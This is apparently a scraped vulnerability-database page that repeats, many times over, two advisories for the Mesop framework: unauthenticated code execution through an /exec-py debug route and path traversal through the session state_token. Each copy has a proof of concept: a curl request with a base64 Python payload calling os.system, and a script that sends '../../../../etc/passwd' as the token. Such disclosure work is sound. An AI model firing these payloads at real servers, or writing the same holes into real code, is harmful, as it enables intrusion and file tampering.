An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 20, 2025

1.1.1rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 20, 2025

1.1.0 minor

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 19, 2025

1.1.0rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 19, 2025

1.0.1 patch

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


